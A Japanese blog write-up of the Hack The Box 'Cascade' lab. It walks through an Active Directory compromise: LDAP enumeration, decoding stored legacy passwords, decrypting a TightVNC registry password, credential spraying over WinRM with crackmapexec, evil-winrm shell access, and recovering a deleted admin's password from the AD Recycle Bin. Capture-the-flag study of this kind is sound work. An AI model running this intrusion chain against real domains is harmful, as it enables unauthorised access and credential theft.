家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】cascade

目次

 

 

 

偵察

nmapによるスキャンを行います。

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-02-27 00:20:03Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49154/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49155/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49157/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49167/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC

 

enum4linuxの結果よりユーザー情報を取得できます。

user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]

ldapsearchの結果でRyanの出力にBase64でエンコードされたパスワード情報が確認できます。

┌──(kali㉿kali)-[~/htb/cascade]
└─$ ldapsearch -H ldap://10.129.22.181 -x -b "DC=cascade,DC=local    

---snip---

# Ryan Thompson, Users, UK, cascade.local
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Ryan Thompson
sn: Thompson
givenName: Ryan
distinguishedName: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
instanceType: 4
whenCreated: 20200109193126.0Z
whenChanged: 20200323112031.0Z
displayName: Ryan Thompson
uSNCreated: 24610
memberOf: CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local
uSNChanged: 295010
name: Ryan Thompson
objectGUID:: LfpD6qngUkupEy9bFXBBjA==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 132247339091081169
lastLogoff: 0
lastLogon: 132247339125713230
pwdLastSet: 132230718862636251
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFVQQAAA==
accountExpires: 9223372036854775807
logonCount: 2
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 132294360317419816
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=

 

デコードします。

┌──(kali㉿kali)-[~/htb/cascade]
└─$ echo 'clk0bjVldmE=' | base64 -d
rY4n5eva                   

 

取得したアカウント情報でSMBを調査します。

┌──(kali㉿kali)-[~/htb/cascade]
└─$ crackmapexec smb 10.129.22.181 -u r.thompson -p rY4n5eva --shares

SMB         10.129.22.181   445    CASC-DC1         [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB         10.129.22.181   445    CASC-DC1         [+] cascade.local\r.thompson:rY4n5eva 
SMB         10.129.22.181   445    CASC-DC1         [+] Enumerated shares
SMB         10.129.22.181   445    CASC-DC1         Share           Permissions     Remark
SMB         10.129.22.181   445    CASC-DC1         -----           -----------     ------
SMB         10.129.22.181   445    CASC-DC1         ADMIN$                          Remote Admin
SMB         10.129.22.181   445    CASC-DC1         Audit$                          
SMB         10.129.22.181   445    CASC-DC1         C$                              Default share
SMB         10.129.22.181   445    CASC-DC1         Data            READ            
SMB         10.129.22.181   445    CASC-DC1         IPC$                            Remote IPC
SMB         10.129.22.181   445    CASC-DC1         NETLOGON        READ            Logon server share 
SMB         10.129.22.181   445    CASC-DC1         print$          READ            Printer Drivers
SMB         10.129.22.181   445    CASC-DC1         SYSVOL          READ            Logon server share 

 

上記で確認できたフォルダの内、dataにアクセスします。
いくつかのフォルダがあるので一括取得します。

┌──(kali㉿kali)-[~/htb/cascade]
└─$ smbclient //10.129.22.181/data -U 'cascade/r.thompson'
Password for [CASCADE\r.thompson]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Jan 27 12:27:34 2020
  ..                                  D        0  Mon Jan 27 12:27:34 2020
  Contractors                         D        0  Mon Jan 13 10:45:11 2020
  Finance                             D        0  Mon Jan 13 10:45:06 2020
  IT                                  D        0  Wed Jan 29 03:04:51 2020
  Production                          D        0  Mon Jan 13 10:45:18 2020
  Temps                               D        0  Mon Jan 13 10:45:15 2020

                6553343 blocks of size 4096. 1624839 blocks available
smb: \> mask ""
smb: \> resurce ON
resurce: command not found
smb: \> recurce ON
recurce: command not found
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \Contractors\*
NT_STATUS_ACCESS_DENIED listing \Finance\*
NT_STATUS_ACCESS_DENIED listing \Production\*
NT_STATUS_ACCESS_DENIED listing \Temps\*
getting file \IT\Email Archives\Meeting_Notes_June_2018.html of size 2522 as IT/Email Archives/Meeting_Notes_June_2018.html (3.4 KiloBytes/sec) (average 3.4 KiloBytes/sec)
getting file \IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log of size 1303 as IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log (1.8 KiloBytes/sec) (average 2.6 KiloBytes/sec)
getting file \IT\Logs\DCs\dcdiag.log of size 5967 as IT/Logs/DCs/dcdiag.log (6.5 KiloBytes/sec) (average 4.1 KiloBytes/sec)
getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as IT/Temp/s.smith/VNC Install.reg (3.6 KiloBytes/sec) (average 4.0 KiloBytes/sec)
smb: \> 

取得したデータの中に含まれるファイルよりアカウント情報が確認できます。

┌──(kali㉿kali)-[~/htb/cascade]
└─$ find . -type f                                        
./rustscan.txt
./IT/Temp/s.smith/VNC Install.reg
./IT/Email Archives/Meeting_Notes_June_2018.html
./IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log
./IT/Logs/DCs/dcdiag.log
./users.txt
./data
./vnc_enc_pass
./ldap-result

 

ユーザー名と思われるTempAdminを確認。

┌──(kali㉿kali)-[~/htb/cascade]
└─$ cat "./IT/Email Archives/Meeting_Notes_June_2018.html"

---snip---

perform all tasks related to the network migration and this account will be deleted at the end of
2018 once the migration is complete. This will allow us to identify actions
related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account password). 

 

パスワード情報を確認。

┌──(kali㉿kali)-[~/htb/cascade]
└─$ cat "./IT/Temp/s.smith/VNC Install.reg"               
��Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC]

[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
"ExtraPorts"=""
"QueryTimeout"=dword:0000001e
"QueryAcceptOnTimeout"=dword:00000000
"LocalInputPriorityTimeout"=dword:00000003
"LocalInputPriority"=dword:00000000
"BlockRemoteInput"=dword:00000000
"BlockLocalInput"=dword:00000000
"IpAccessControl"=""
"RfbPort"=dword:0000170c
"HttpPort"=dword:000016a8
"DisconnectAction"=dword:00000000
"AcceptRfbConnections"=dword:00000001
"UseVncAuthentication"=dword:00000001
"UseControlAuthentication"=dword:00000000
"RepeatControlAuthentication"=dword:00000000
"LoopbackOnly"=dword:00000000
"AcceptHttpConnections"=dword:00000001
"LogLevel"=dword:00000000
"EnableFileTransfers"=dword:00000001
"RemoveWallpaper"=dword:00000001
"UseD3D"=dword:00000001
"UseMirrorDriver"=dword:00000001
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
"NeverShared"=dword:00000000
"DisconnectClients"=dword:00000001
"PollingInterval"=dword:000003e8
"AllowLoopback"=dword:00000000
"VideoRecognitionInterval"=dword:00000bb8
"GrabTransparentWindows"=dword:00000001
"SaveLogToAllUsersPath"=dword:00000000
"RunControlInterface"=dword:00000001
"IdleTimeout"=dword:00000000
"VideoClasses"=""
"VideoRects"=""

VNCのパスワードは以下の方法で変換します。

  • 16進数をBase64に変換
  • パスワードをbase64から平文に変換
  • vncpassword復号ツールを使用
┌──(kali㉿kali)-[~/htb/cascade]
└─$ echo -n -e '\x6b\xcf\x2a\x4b\x6e\x5a\xca\x0f' | base64

a88qS25ayg8=
                                                                                                                                                                                                              
┌──(kali㉿kali)-[~/htb/cascade]
└─$ echo "a88qS25ayg8=" | base64 -d > vncpasshash 
                                                                                                                                                                                                              
┌──(kali㉿kali)-[~/htb/cascade]
└─$ cat vncpasshash 
k *KnZ                                                                                                                                                                                                               


vncpassword複合ツールの取得
┌──(kali㉿kali)-[~/opt]
└─$ git clone https://github.com/jeroennijhof/vncpwd.git
Cloning into 'vncpwd'...
remote: Enumerating objects: 28, done.
remote: Total 28 (delta 0), reused 0 (delta 0), pack-reused 28 (from 1)
Receiving objects: 100% (28/28), 22.15 KiB | 7.38 MiB/s, done.
Resolving deltas: 100% (9/9), done.
                                                                                                                                                                                                              
┌──(kali㉿kali)-[~/opt]
└─$ cd vncpwd 
                                                                                                                                                                                                              
┌──(kali㉿kali)-[~/opt/vncpwd]
└─$ make         
gcc -Wall -g -o vncpwd vncpwd.c d3des.c
d3des.c: In function ‘deskey’:
d3des.c:70:6: warning: old-style function defin
※大量のエラーが出る

┌──(kali㉿kali)-[~/opt/vncpwd]
└─$ ./vncpwd ./vncpasshash Password: sT333ve2

 

user.txt取得

ここまでで確認できた資格情報より、winrmで有効なものが確認できます。

┌──(kali㉿kali)-[~/htb/cascade]
└─$ crackmapexec winrm 10.129.22.181 -u users.txt -p passwords.txt --continue-on-success         
SMB         10.129.22.181   5985   CASC-DC1         [*] Windows 7 / Server 2008 R2 Build 7601 (name:CASC-DC1) (domain:cascade.local)
HTTP        10.129.22.181   5985   CASC-DC1         [*] http://10.129.22.181:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.22.181   5985   CASC-DC1         [-] cascade.local\CascGuest:rY4n5eva
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.22.181   5985   CASC-DC1         [-] cascade.local\CascGuest:sT333ve2
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.22.181   5985   CASC-DC1         [-] cascade.local\arksvc:rY4n5eva
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.22.181   5985   CASC-DC1         [-] cascade.local\arksvc:sT333ve2
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.22.181   5985   CASC-DC1         [-] cascade.local\s.smith:rY4n5eva
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.22.181   5985   CASC-DC1         [+] cascade.local\s.smith:sT333ve2 (Pwn3d!)

 

s.smithでアクセスするとuser.txtが取得できます。

┌──(kali㉿kali)-[~/htb/cascade]
└─$ evil-winrm -i 10.129.22.181 -u s.smith -p 'sT333ve2'

                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\s.smith\Documents>

 

権限昇格

s.smithでAudit$へアクセスします。 DBフォルダにAudit.dbというファイルがあります。

                                                                                                                                                                                                              
┌──(kali㉿kali)-[~/htb/cascade]
└─$ smbclient //10.129.22.181/Audit$ -U 'cascade/s.smith'
Password for [CASCADE\s.smith]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Jan 30 03:01:26 2020
  ..                                  D        0  Thu Jan 30 03:01:26 2020
  CascAudit.exe                      An    13312  Wed Jan 29 06:46:51 2020
  CascCrypto.dll                     An    12288  Thu Jan 30 03:00:20 2020
  DB                                  D        0  Wed Jan 29 06:40:59 2020
  RunAudit.bat                        A       45  Wed Jan 29 08:29:47 2020
  System.Data.SQLite.dll              A   363520  Sun Oct 27 15:38:36 2019
  System.Data.SQLite.EF6.dll          A   186880  Sun Oct 27 15:38:38 2019
  x64                                 D        0  Mon Jan 27 07:25:27 2020
  x86                                 D        0  Mon Jan 27 07:25:27 2020

                6553343 blocks of size 4096. 1624773 blocks available
smb: \> cd DB
smb: \DB\> ls
  .                                   D        0  Wed Jan 29 06:40:59 2020
  ..                                  D        0  Wed Jan 29 06:40:59 2020
  Audit.db                           An    24576  Wed Jan 29 06:39:24 2020

                6553343 blocks of size 4096. 1625031 blocks available
smb: \DB\> get Audit.db 
getting file \DB\Audit.db of size 24576 as Audit.db (22.2 KiloBytes/sec) (average 22.2 KiloBytes/sec)
smb: \DB\> 

 

取得したファイルを調査します。対象のファイルはSQLiteのものでした。
ファイルからArkSvcのアカウント情報が確認できました。

┌──(kali㉿kali)-[~/htb/cascade]
└─$ file Audit.db                          
Audit.db: SQLite 3.x database, last written using SQLite version 3027002, file counter 60, database pages 6, 1st free page 6, free pages 1, cookie 0x4b, schema 4, UTF-8, version-valid-for 60

    
    
┌──(kali㉿kali)-[~/htb/cascade]
└─$ sqlite3                                                               
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> attach "Audit.db" as db1;
sqlite> .tables
db1.DeletedUserAudit  db1.Ldap              db1.Misc            
sqlite> select * from db1.ldap
   ...> ;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
sqlite> select * from db1.ldap;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
sqlite> 

 

このパスワードはBase64でエンコードされているようですが、デコードしても内容がわかりません。

┌──(kali㉿kali)-[~]
└─$ echo 'BQO5l5Kj9MdErXx6Q6AGOw==' | base64 -d             
������D�|zC�;                            

 

SMBより取得したCascCrypt.dllをdnSpyで調査します。
IVの情報が確認できます。

CascCrypto.dllの解析

CascAudit.exeもdnSpyで調査します。

CascAudit.exe

このexeではdll内の関数に暗号化するテキストとキーを渡して実行しています。
また、exeの中でAES暗号に必要な要素が確認できます。

Key・・・引数の文字列

IV(初期化ベクトル)・・・dll内で定義

Mode(暗号モード)・・・exe内に記載

 

上記情報をもとに復号します。

復号:w3lc0meFr31nd

 

上記のパスワードを使用してArkSvcでのwinrmでアクセスします。

横展開:ArkSvc

 

arksvcはAD Recycle Binに所属しています。

*Evil-WinRM* PS C:\Users\arksvc\Documents> net user arksvc
User name                    arksvc
Full Name                    ArkSvc
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/9/2020 4:18:20 PM
Password expires             Never
Password changeable          1/9/2020 4:18:20 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   1/29/2020 9:05:40 PM

Logon hours allowed          All

Local Group Memberships      *AD Recycle Bin       *IT
                             *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.

*Evil-WinRM* PS C:\Users\arksvc\Documents> 

 

AD Recycle Binは、Active Directoryの削除されたオブジェクトを回復できます。
実行するとTempAdminのパスワードが確認できます。

*Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property *
                                                                                                                                                                                                              
                                                                                                                                                                                                              
accountExpires                  : 9223372036854775807                                                                                                                                                         
badPasswordTime                 : 0                                                                                                                                                                           
badPwdCount                     : 0                                                                                                                                                                           
CanonicalName                   : cascade.local/Deleted Objects/CASC-WS1                                                                                                                                      
                                  DEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe                                                                                                                                    
CN                              : CASC-WS1                                                                                                                                                                    
                                  DEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe                                                                                                                                    
codePage                        : 0                                                                                                                                                                           
countryCode                     : 0                                                                                                                                                                           
Created                         : 1/9/2020 7:30:19 PM                                                                                                                                                         
createTimeStamp                 : 1/9/2020 7:30:19 PM                                                                                                                                                         
Deleted                         : True                                                                                                                                                                        
Description                     :                                                                                                                                                                             
DisplayName                     :                                                                                                                                                                             
DistinguishedName               : CN=CASC-WS1\0ADEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe,CN=Deleted Objects,DC=cascade,DC=local                                                                               
dSCorePropagationData           : {1/17/2020 3:37:36 AM, 1/17/2020 12:14:04 AM, 1/9/2020 7:30:19 PM, 1/1/1601 12:04:17 AM}                                                                                    
instanceType                    : 4                                                                                                                                                                           
isCriticalSystemObject          : False                                                                                                                                                                       
isDeleted                       : True                                                                                                                                                                        
LastKnownParent                 : OU=Computers,OU=UK,DC=cascade,DC=local                                                                                                                                      
lastLogoff                      : 0                                                                                                                                                                           
lastLogon                       : 0                                                                                                                                                                           
localPolicyFlags                : 0                                                                                                                                                                           
logonCount                      : 0                                                                                                                                                                           
Modified                        : 1/28/2020 6:08:35 PM                                                                                                                                                        
modifyTimeStamp                 : 1/28/2020 6:08:35 PM                                                                                                                                                        
msDS-LastKnownRDN               : CASC-WS1                                                                                                                                                                    
Name                            : CASC-WS1
                                  DEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  :
ObjectClass                     : computer
ObjectGUID                      : 6d97daa4-2e82-4946-a11e-f91fa18bfabe
objectSid                       : S-1-5-21-3332504370-1206983947-1165150453-1108
primaryGroupID                  : 515
ProtectedFromAccidentalDeletion : False
pwdLastSet                      : 132230718192147073
sAMAccountName                  : CASC-WS1$
sDRightsEffective               : 0
userAccountControl              : 4128
uSNChanged                      : 245849
uSNCreated                      : 24603
whenChanged                     : 1/28/2020 6:08:35 PM
whenCreated                     : 1/9/2020 7:30:19 PM

CanonicalName                   : cascade.local/Deleted Objects/Scheduled Tasks
                                  DEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2
CN                              : Scheduled Tasks
                                  DEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2
Created                         : 1/13/2020 5:21:53 PM
createTimeStamp                 : 1/13/2020 5:21:53 PM
Deleted                         : True
Description                     :
DisplayName                     :
DistinguishedName               : CN=Scheduled Tasks\0ADEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData           : {1/17/2020 9:35:46 PM, 1/17/2020 9:32:57 PM, 1/17/2020 3:37:36 AM, 1/17/2020 12:14:04 AM...}
groupType                       : -2147483644
instanceType                    : 4
isDeleted                       : True
LastKnownParent                 : OU=Groups,OU=UK,DC=cascade,DC=local
Modified                        : 1/28/2020 6:07:55 PM
modifyTimeStamp                 : 1/28/2020 6:07:55 PM
msDS-LastKnownRDN               : Scheduled Tasks
Name                            : Scheduled Tasks
                                  DEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  :
ObjectClass                     : group
ObjectGUID                      : 13375728-5ddb-4137-b8b8-b9041d1d3fd2
objectSid                       : S-1-5-21-3332504370-1206983947-1165150453-1131
ProtectedFromAccidentalDeletion : False
sAMAccountName                  : Scheduled Tasks
sDRightsEffective               : 0
uSNChanged                      : 245848
uSNCreated                      : 114790
whenChanged                     : 1/28/2020 6:07:55 PM
whenCreated                     : 1/13/2020 5:21:53 PM

CanonicalName                   : cascade.local/Deleted Objects/{A403B701-A528-4685-A816-FDEE32BDDCBA}
                                  DEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e
CN                              : {A403B701-A528-4685-A816-FDEE32BDDCBA}
                                  DEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e
Created                         : 1/26/2020 2:34:30 AM
createTimeStamp                 : 1/26/2020 2:34:30 AM
Deleted                         : True
Description                     :
DisplayName                     : Block Potato
DistinguishedName               : CN={A403B701-A528-4685-A816-FDEE32BDDCBA}\0ADEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData           : {1/1/1601 12:00:00 AM}
flags                           : 0
gPCFileSysPath                  : \\cascade.local\SysVol\cascade.local\Policies\{A403B701-A528-4685-A816-FDEE32BDDCBA}
gPCFunctionalityVersion         : 2
gPCMachineExtensionNames        : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1D-2488-11D1-A28C-00C04FB94F17}][{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}{53D6AB1D-2488-11D1-A28C-00C04FB94F17}]
instanceType                    : 4
isDeleted                       : True
LastKnownParent                 : CN=Policies,CN=System,DC=cascade,DC=local
Modified                        : 1/26/2020 2:40:52 AM
modifyTimeStamp                 : 1/26/2020 2:40:52 AM
msDS-LastKnownRDN               : {A403B701-A528-4685-A816-FDEE32BDDCBA}
Name                            : {A403B701-A528-4685-A816-FDEE32BDDCBA}
                                  DEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  :
ObjectClass                     : groupPolicyContainer
ObjectGUID                      : ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e
ProtectedFromAccidentalDeletion : False
sDRightsEffective               : 0
showInAdvancedViewOnly          : True
uSNChanged                      : 196701
uSNCreated                      : 196688
versionNumber                   : 2
whenChanged                     : 1/26/2020 2:40:52 AM
whenCreated                     : 1/26/2020 2:34:30 AM

CanonicalName                   : cascade.local/Deleted Objects/Machine
                                  DEL:93c23674-e411-400b-bb9f-c0340bda5a34
CN                              : Machine
                                  DEL:93c23674-e411-400b-bb9f-c0340bda5a34
Created                         : 1/26/2020 2:34:31 AM
createTimeStamp                 : 1/26/2020 2:34:31 AM
Deleted                         : True
Description                     :
DisplayName                     :
DistinguishedName               : CN=Machine\0ADEL:93c23674-e411-400b-bb9f-c0340bda5a34,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData           : {1/1/1601 12:00:00 AM}
instanceType                    : 4
isDeleted                       : True
LastKnownParent                 : CN={A403B701-A528-4685-A816-FDEE32BDDCBA}\0ADEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e,CN=Deleted Objects,DC=cascade,DC=local
Modified                        : 1/26/2020 2:40:52 AM
modifyTimeStamp                 : 1/26/2020 2:40:52 AM
msDS-LastKnownRDN               : Machine
Name                            : Machine
                                  DEL:93c23674-e411-400b-bb9f-c0340bda5a34
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  :
ObjectClass                     : container
ObjectGUID                      : 93c23674-e411-400b-bb9f-c0340bda5a34
ProtectedFromAccidentalDeletion : False
sDRightsEffective               : 0
showInAdvancedViewOnly          : True
uSNChanged                      : 196699
uSNCreated                      : 196689
whenChanged                     : 1/26/2020 2:40:52 AM
whenCreated                     : 1/26/2020 2:34:31 AM

CanonicalName                   : cascade.local/Deleted Objects/User
                                  DEL:746385f2-e3a0-4252-b83a-5a206da0ed88
CN                              : User
                                  DEL:746385f2-e3a0-4252-b83a-5a206da0ed88
Created                         : 1/26/2020 2:34:31 AM
createTimeStamp                 : 1/26/2020 2:34:31 AM
Deleted                         : True
Description                     :
DisplayName                     :
DistinguishedName               : CN=User\0ADEL:746385f2-e3a0-4252-b83a-5a206da0ed88,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData           : {1/1/1601 12:00:00 AM}
instanceType                    : 4
isDeleted                       : True
LastKnownParent                 : CN={A403B701-A528-4685-A816-FDEE32BDDCBA}\0ADEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e,CN=Deleted Objects,DC=cascade,DC=local
Modified                        : 1/26/2020 2:40:52 AM
modifyTimeStamp                 : 1/26/2020 2:40:52 AM
msDS-LastKnownRDN               : User
Name                            : User
                                  DEL:746385f2-e3a0-4252-b83a-5a206da0ed88
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  :
ObjectClass                     : container
ObjectGUID                      : 746385f2-e3a0-4252-b83a-5a206da0ed88
ProtectedFromAccidentalDeletion : False
sDRightsEffective               : 0
showInAdvancedViewOnly          : True
uSNChanged                      : 196700
uSNCreated                      : 196690
whenChanged                     : 1/26/2020 2:40:52 AM
whenCreated                     : 1/26/2020 2:34:31 AM

accountExpires                  : 9223372036854775807
badPasswordTime                 : 0
badPwdCount                     : 0
CanonicalName                   : cascade.local/Deleted Objects/TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz
CN                              : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
codePage                        : 0
countryCode                     : 0
Created                         : 1/27/2020 3:23:08 AM
createTimeStamp                 : 1/27/2020 3:23:08 AM
Deleted                         : True
Description                     :
DisplayName                     : TempAdmin
DistinguishedName               : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData           : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM}
givenName                       : TempAdmin
instanceType                    : 4
isDeleted                       : True
LastKnownParent                 : OU=Users,OU=UK,DC=cascade,DC=local
lastLogoff                      : 0
lastLogon                       : 0
logonCount                      : 0
Modified                        : 1/27/2020 3:24:34 AM
modifyTimeStamp                 : 1/27/2020 3:24:34 AM
msDS-LastKnownRDN               : TempAdmin
Name                            : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  :
ObjectClass                     : user
ObjectGUID                      : f0cc344d-31e0-4866-bceb-a842791ca059
objectSid                       : S-1-5-21-3332504370-1206983947-1165150453-1136
primaryGroupID                  : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet                      : 132245689883479503
sAMAccountName                  : TempAdmin
sDRightsEffective               : 0
userAccountControl              : 66048
userPrincipalName               : TempAdmin@cascade.local
uSNChanged                      : 237705
uSNCreated                      : 237695
whenChanged                     : 1/27/2020 3:24:34 AM
whenCreated                     : 1/27/2020 3:23:08 AM
 

 

Base64デコードします

┌──(kali㉿kali)-[~/htb/cascade]
└─$ echo 'YmFDVDNyMWFOMDBkbGVz' | base64 --decode
baCT3r1aN00dles                                                                                                                                                                                                              
┌──(kali㉿kali)-[~/htb/cascade]
└─$ 

 

上記のパスワードはAdministratorのものです。

┌──(kali㉿kali)-[~/htb/cascade]
└─$ crackmapexec smb 10.129.41.255 -u users.txt -p baCT3r1aN00dles

SMB         10.129.41.255   445    CASC-DC1         [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB         10.129.41.255   445    CASC-DC1         [-] cascade.local\CascGuest:baCT3r1aN00dles STATUS_LOGON_FAILURE 
